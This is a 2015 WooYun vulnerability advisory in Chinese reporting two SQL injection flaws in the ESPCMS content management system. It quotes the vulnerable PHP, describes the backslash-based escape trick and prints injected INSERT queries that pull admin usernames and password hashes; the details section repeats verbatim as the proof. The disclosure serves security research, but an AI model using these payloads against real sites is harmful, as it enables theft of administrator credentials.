当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(13) 关注此漏洞

缺陷编号: WooYun-2015-137902

漏洞标题: espcms最新版两处高危SQL注入漏洞附分析(遗漏未修复)

相关厂商: 易思ESPCMS企业网站管理系统

漏洞作者: Xser

提交时间: 2015-08-31 12:52

公开时间: 2015-11-29 14:22

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 第三方不可信程序 php源码审核

3人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-31: 细节已通知厂商并且等待厂商处理中
2015-08-31: 厂商已经确认,细节仅向厂商公开
2015-09-03: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-10-25: 细节向核心白帽子及相关领域专家公开
2015-11-04: 细节向普通白帽子公开
2015-11-14: 细节向实习白帽子公开
2015-11-29: 细节向公众公开

简要描述:

绝对是最新版本!

版本信息:V6.4.15.08.25 UTF8 正式版
更新时间:2015-08-25 12:29:04 软件大小:7.67MB

25号更新的,有两处高危注入没有修复

详细说明:

第一处在



在enquiry.php中



code 区域
$ptitle = $this->fun->accept('ptitle', 'P');

$tsn = $this->fun->accept('tsn', 'P');

$did = $this->fun->accept('did', 'P');

if (empty($did) || empty($amount) || empty($ptitle)) {

$enquirylink = $this->get_link('enquiry', array(), admin_LNG);

$this->callmessage($this->lng['enquiry_input_err'], $enquirylink, $this->lng['enquiry_into_listbotton']);

}

if (!preg_match("/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/i", $email)) {

$this->callmessage($this->lng['email_err'], $_SERVER['HTTP_REFERER'], $this->lng['gobackbotton']);

}

$enquirysn = date('YmdHis') . rand(100, 9999);

$db_table = db_prefix . 'enquiry';

$db_table2 = db_prefix . 'enquiry_info';

$addtime = time();

$db_field = 'enquirysn,userid,linkman,sex,country,province,city,district,address,zipcode,tel,fax,mobile,email,content,isclass,addtime,edittime';

$db_values = "'$enquirysn',$userid,'$linkman',$sex,$country,$province,$city,$district,'$address','$zipcode','$tel','$fax','$mobile','$email','$content',0,$addtime,0";

$this->db->query('INSERT INTO ' . $db_table . ' (' . $db_field . ') VALUES (' . $db_values . ')');

$insert_id = $this->db->insert_id();

$db_values = '';

$arraycount = count($did) - 1;

foreach ($did as $key => $value) {

$value = intval($value);

$amount[$key] = intval($amount[$key]);



if ($key == $arraycount) {

$db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],'')";

} else {

$db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],''),";

}

}









这里会把提交的数据转义,但是当$tsn不是数组的时候是这样的







$temp = "wooyun"







$temp[0]的值为w















playload构造:











直接提交$tsn=\











截到的sql语句是



code 区域
查询时间	查询语句
2015/8/30 0:46 INSERT INTO espcms_enquiry_info (eid,did,tsn,title,amount,comment) VALUES (2,36,'\',',(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM espcms_admin_member LIMIT 1 ),1,1)#',1,'')



360截图20150830005055174.jpg





第二处在order.php中



code 区域
if ($uncartid && is_array($uncartid) && !empty($ordersncode) && $cookiceprice == $ordersncode) { $ptitle = $this->fun->accept('ptitle', 'P'); $tsn = $this->fun->accept('tsn', 'P'); $bprice = $this->fun->accept('bprice', 'P'); $oprice = $this->fun->accept('oprice', 'P'); $did = $this->fun->accept('did', 'P'); $amount = $this->fun->accept('amount', 'P'); $countprice = $this->fun->accept('countprice', 'P'); if (empty($did) || empty($bprice) || empty($amount) || empty($countprice) || empty($opid) || empty($osid)) { $buylink = $this->get_link('order', array(), admin_LNG); $this->callmessage($this->lng['order_input_err'], $buylink, $this->lng['oder_buy_goback']); } if (!preg_match("/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/i", $email)) { $this->callmessage($this->lng['email_err'], $_SERVER['HTTP_REFERER'], $this->lng['gobackbotton']); } $payprice = 0; $shipprice = 0; $payread = !empty($opid) ? $this->get_payplug_view($opid) : 0; $shipprice = !empty($osid) ? $this->get_shipplug_view($osid, 'price') : 0; $shipprice = floatval($shipprice); if ($payread['payis'] > 0) { $payread['payis'] = floatval($payread['payis']); $payprice = ($payread['payis'] / 100) * $discount_productmoney; } $orderamount = $discount_productmoney + $payprice + $shipprice; $order_snfont = $this->CON['order_snfont']; $ordersn = $order_snfont . date('YmdHis') . rand(100, 9999); $db_table = db_prefix . 'order'; $db_table2 = db_prefix . 'order_info'; $addtime = time(); $db_field = 'ordersn,userid,ordertype,osid,opid,shippingsn,paysn,consignee,country,province,city,district,address, zipcode,tel,mobile,email,sendtime,invpayee,invcontent,content,treatnote,paytime,shippingtime,productmoney,shippingmoney, paymoney,orderamount,discount,integral,addtime'; $db_values = "'$ordersn',$userid,1,$osid,$opid,'','','$consignee',$country,$province,$city,$district,'$address', '$zipcode','$tel','$mobile','$email','$sendtime','$invpayee','$invcontent','$content','',0,0,$productmoney,$shipprice, $payprice,$orderamount,$discountmoney,0,$addtime"; $this->db->query('INSERT INTO ' . $db_table . ' (' . $db_field . ') VALUES (' . $db_values . ')');







这里会把提交的数据转义,但是当$tsn不是数组的时候是这样的 $temp = "wooyun" $temp[0]的值为w playload构造: 直接提交$tsn=\的话经过gpc会变成\\ ,那样截取了第一个\就成了\



他新加了个tokenkey,然而并没有什么卵用。 截到的sql语句是



code 区域
2015/8/30 1:05	INSERT INTO espcms_order_info (oid,did,tsn,title,oprice,bprice,countprice,amount,inventory) VALUES (4,36,'\',',(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM espcms_admin_member LIMIT 1 ),1,1,1,1,1)#',0,1,1,1,1)





360截图20150830010611092.jpg

漏洞证明:

第一处在



在enquiry.php中



code 区域
$ptitle = $this->fun->accept('ptitle', 'P');

$tsn = $this->fun->accept('tsn', 'P');

$did = $this->fun->accept('did', 'P');

if (empty($did) || empty($amount) || empty($ptitle)) {

$enquirylink = $this->get_link('enquiry', array(), admin_LNG);

$this->callmessage($this->lng['enquiry_input_err'], $enquirylink, $this->lng['enquiry_into_listbotton']);

}

if (!preg_match("/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/i", $email)) {

$this->callmessage($this->lng['email_err'], $_SERVER['HTTP_REFERER'], $this->lng['gobackbotton']);

}

$enquirysn = date('YmdHis') . rand(100, 9999);

$db_table = db_prefix . 'enquiry';

$db_table2 = db_prefix . 'enquiry_info';

$addtime = time();

$db_field = 'enquirysn,userid,linkman,sex,country,province,city,district,address,zipcode,tel,fax,mobile,email,content,isclass,addtime,edittime';

$db_values = "'$enquirysn',$userid,'$linkman',$sex,$country,$province,$city,$district,'$address','$zipcode','$tel','$fax','$mobile','$email','$content',0,$addtime,0";

$this->db->query('INSERT INTO ' . $db_table . ' (' . $db_field . ') VALUES (' . $db_values . ')');

$insert_id = $this->db->insert_id();

$db_values = '';

$arraycount = count($did) - 1;

foreach ($did as $key => $value) {

$value = intval($value);

$amount[$key] = intval($amount[$key]);



if ($key == $arraycount) {

$db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],'')";

} else {

$db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],''),";

}

}









这里会把提交的数据转义,但是当$tsn不是数组的时候是这样的







$temp = "wooyun"







$temp[0]的值为w















playload构造:











直接提交$tsn=\











截到的sql语句是



code 区域
查询时间	查询语句
2015/8/30 0:46 INSERT INTO espcms_enquiry_info (eid,did,tsn,title,amount,comment) VALUES (2,36,'\',',(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM espcms_admin_member LIMIT 1 ),1,1)#',1,'')



360截图20150830005055174.jpg





第二处在order.php中



code 区域
if ($uncartid && is_array($uncartid) && !empty($ordersncode) && $cookiceprice == $ordersncode) { $ptitle = $this->fun->accept('ptitle', 'P'); $tsn = $this->fun->accept('tsn', 'P'); $bprice = $this->fun->accept('bprice', 'P'); $oprice = $this->fun->accept('oprice', 'P'); $did = $this->fun->accept('did', 'P'); $amount = $this->fun->accept('amount', 'P'); $countprice = $this->fun->accept('countprice', 'P'); if (empty($did) || empty($bprice) || empty($amount) || empty($countprice) || empty($opid) || empty($osid)) { $buylink = $this->get_link('order', array(), admin_LNG); $this->callmessage($this->lng['order_input_err'], $buylink, $this->lng['oder_buy_goback']); } if (!preg_match("/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/i", $email)) { $this->callmessage($this->lng['email_err'], $_SERVER['HTTP_REFERER'], $this->lng['gobackbotton']); } $payprice = 0; $shipprice = 0; $payread = !empty($opid) ? $this->get_payplug_view($opid) : 0; $shipprice = !empty($osid) ? $this->get_shipplug_view($osid, 'price') : 0; $shipprice = floatval($shipprice); if ($payread['payis'] > 0) { $payread['payis'] = floatval($payread['payis']); $payprice = ($payread['payis'] / 100) * $discount_productmoney; } $orderamount = $discount_productmoney + $payprice + $shipprice; $order_snfont = $this->CON['order_snfont']; $ordersn = $order_snfont . date('YmdHis') . rand(100, 9999); $db_table = db_prefix . 'order'; $db_table2 = db_prefix . 'order_info'; $addtime = time(); $db_field = 'ordersn,userid,ordertype,osid,opid,shippingsn,paysn,consignee,country,province,city,district,address, zipcode,tel,mobile,email,sendtime,invpayee,invcontent,content,treatnote,paytime,shippingtime,productmoney,shippingmoney, paymoney,orderamount,discount,integral,addtime'; $db_values = "'$ordersn',$userid,1,$osid,$opid,'','','$consignee',$country,$province,$city,$district,'$address', '$zipcode','$tel','$mobile','$email','$sendtime','$invpayee','$invcontent','$content','',0,0,$productmoney,$shipprice, $payprice,$orderamount,$discountmoney,0,$addtime"; $this->db->query('INSERT INTO ' . $db_table . ' (' . $db_field . ') VALUES (' . $db_values . ')');







这里会把提交的数据转义,但是当$tsn不是数组的时候是这样的 $temp = "wooyun" $temp[0]的值为w playload构造: 直接提交$tsn=\的话经过gpc会变成\\ ,那样截取了第一个\就成了\



他新加了个tokenkey,然而并没有什么卵用。 截到的sql语句是



code 区域
2015/8/30 1:05	INSERT INTO espcms_order_info (oid,did,tsn,title,oprice,bprice,countprice,amount,inventory) VALUES (4,36,'\',',(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM espcms_admin_member LIMIT 1 ),1,1,1,1,1)#',0,1,1,1,1)





360截图20150830010611092.jpg

修复方案:

过滤

版权声明:转载请注明来源 Xser@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2015-08-31 14:21

厂商回复:

此漏洞经过服务器处理不受影响。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

登录后才能发表评论,请先 登录